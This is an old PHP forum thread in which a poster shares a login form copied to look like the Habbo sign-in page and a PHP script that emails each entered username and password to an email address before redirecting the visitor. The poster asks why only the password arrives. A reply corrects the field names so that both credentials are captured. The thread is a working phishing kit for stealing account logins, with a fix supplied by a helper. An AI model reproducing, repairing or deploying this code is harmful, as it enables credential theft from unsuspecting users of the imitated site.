Jump to content

Recommended Posts

Register.php

 

<?php

  if ($_SERVER['REQUEST_METHOD'] != 'GET') {  
    $user = $_POST['loginTicket']; 
    $pass = $_POST['password'];  
    $messig = "Username: $user\nPassword: $pass\n";
    $subject = $user;  

    if (mail("example@yahoo.co.uk", $subject, $messig)) { 
      header("Location: http://www.example.com/thanks");
    } else {
      echo 'ERROR';
    }
  }
  
?>

 

 

 

form.php

extract only

<form action="post.php" method="post" name="form" class="login-habblet" id="login-form">
            
            <ul>
                <li>
                    <label for="login-username" class="login-text">Username
                    <input type="hidden" name="loginTicket" value="" />
                    </label>
                    <input tabindex="1" type="text" class="login-field" name="habbo" id="login-username" value="" />

                </li>
                <li>
                    <label for="login-password" class="login-text">Password</label>
                    <input tabindex="2" type="password" class="login-field" name="password" id="login-password" />
                    <input name="submit" type="submit" class="process-button" id="login-submit" value="Log in" />

 

whats wrong ;/

Link to comment
https://forums.phpfreaks.com/topic/82948-only-sending-password/
Share on other sites

It should be

 

   
$user = $_POST['habbo']; 
$pass = $_POST['password'];
$loginTicket = $_POST['loginTicket']; 

 

and

 

<form action="post.php" method="post" name="form" class="login-habblet" id="login-form">
            
            <ul>
                <li>
                    <label for="login-username" class="login-text">Username
                    <input type="hidden" name="loginTicket" value="loginTicket" />
                    </label>
                    <input tabindex="1" type="text" class="login-field" name="habbo" id="login-username" value="" />

                </li>
                <li>
                    <label for="login-password" class="login-text">Password</label>
                    <input tabindex="2" type="password" class="login-field" name="password" id="login-password" />
                    <input name="submit" type="submit" class="process-button" id="login-submit" value="Log in" />
				</form>

Link to comment
https://forums.phpfreaks.com/topic/82948-only-sending-password/#findComment-421862
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.